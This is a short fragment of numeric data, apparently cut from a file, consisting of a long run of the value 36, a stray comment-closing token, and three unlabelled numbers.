36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
34.425339
2,999
0.659043